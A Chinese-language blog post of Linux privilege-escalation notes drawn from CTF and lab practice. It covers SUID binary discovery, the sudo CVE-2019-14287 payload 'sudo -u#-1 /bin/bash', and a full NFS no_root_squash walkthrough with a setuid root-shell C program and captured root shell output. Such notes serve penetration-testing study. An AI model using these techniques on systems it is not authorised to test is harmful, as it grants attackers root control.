linux提权笔记

记录在比赛和靶场中遇到的提权方法

推荐本地部署一个GTFOBins用来查询

suid 提权

SUID是一种特殊权限,可以让调用者在执行过程中暂时获得该文件拥有者的权限。如果可以找到并运行root用户所拥有的SUID的文件,那么就可以在运行该文件的时候获得root用户权限

查找当前系统上文件属主为 root 并且拥有 SUID 权限的可执行文件

1
2
3
4
find / -user root -perm -4000 -print 2> result.txt
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

找到命令后可以在GTFOBins查找用法

1
2
// 可能可利用的参照表
pkexec CVE-2021-4034

sudo 提权

权限分配不当

sudo(super user do)是linux系统中用于管理用户权限的工具,允许普通用户在无需切换到超级用户的情况下以root身份执行命令,通常,在使用sudo命令时,用户需要输入自己的密码验证自己是否有权限使用

查看可利用的sudo权限工具

1
sudo -l

然后在gtfobins查询利用方法

例子:

CVE-2019-14287

1.8.28之前的sudo版本均会受到影响

现在的用户alice没权限看flag文件

查看sudo版本

符合利用条件,payload:sudo -u#-1 /bin/bash

nfs提权

NFS 提权是指攻击者利用网络文件系统(NFS)的错误配置 no_root_squash ,把普通用户权限提升为服务器上的高权限

NFS 主要依赖客户端提交的 UID/GID 来判断身份。默认的 root_squash 会把客户端的 root 映射为低权限匿名用户;而 no_root_squash 会保留客户端 root 身份。若攻击者可以挂载一个可写的共享目录,就可能以高权限写入文件,并设法让服务器执行该文件,从而实现提权

nfs 默认配置在 /etc/exports

识别 nfs 共享

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
┌──(root㉿kali)-[~]
└─# nmap -sV -p111,2049 192.168.100.178
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-21 11:52 -0400
Nmap scan report for 192.168.100.178
Host is up (0.00054s latency).

PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
2049/tcp open nfs_acl 3 (RPC #100227)
MAC Address: 00:0C:29:0F:A1:4F (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.89 seconds



┌──(root㉿kali)-[~]
└─# rpcinfo -p 192.168.100.178
program vers proto port service
100000 4 tcp 111 portmapper
100000 3 tcp 111 portmapper
100000 2 tcp 111 portmapper
100000 4 udp 111 portmapper
100000 3 udp 111 portmapper
100000 2 udp 111 portmapper
100024 1 udp 42257 status
100024 1 tcp 53875 status
100005 1 udp 58589 mountd
100005 1 tcp 41393 mountd
100005 2 udp 41569 mountd
100005 2 tcp 53601 mountd
100005 3 udp 40638 mountd
100005 3 tcp 52851 mountd
100003 3 tcp 2049 nfs
100003 4 tcp 2049 nfs
100227 3 tcp 2049 nfs_acl
100021 1 udp 57800 nlockmgr
100021 3 udp 57800 nlockmgr
100021 4 udp 57800 nlockmgr
100021 1 tcp 35405 nlockmgr
100021 3 tcp 35405 nlockmgr
100021 4 tcp 35405 nlockmgr

列举目标主机的可用 nfs exports

1
2
3
4
┌──(root㉿kali)-[~]
└─# showmount -e 192.168.100.178
Export list for 192.168.100.178:
/tmp/nfs 192.168.100.0/24

挂载nfs exports

1
2
┌──(root㉿kali)-[~]
└─# mount -t nfs 192.168.100.178:/tmp/nfs /root/test

编写脚本,写入想执行的命令

1
2
3
4
5
6
7
8
9
#include <unistd.h>
#include <stdlib.h>

int main() {
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}

添加 suid 权限

1
2
3
4
5
┌──(root㉿kali)-[~/test]
└─# gcc 1.c -o c

┌──(root㉿kali)-[~/test]
└─# chmod +s c

在普通用户下使用即可提权到 root

1
2
3
4
aa@dr0n1:/tmp/nfs$ ./c
root@dr0n1:/tmp/nfs# whoami
root
root@dr0n1:/tmp/nfs#

linux提权笔记
https://www.dr0n.top/posts/fcb3a8d7/
作者
dr0n
发布于
2025年5月9日
更新于
2026年7月22日
许可协议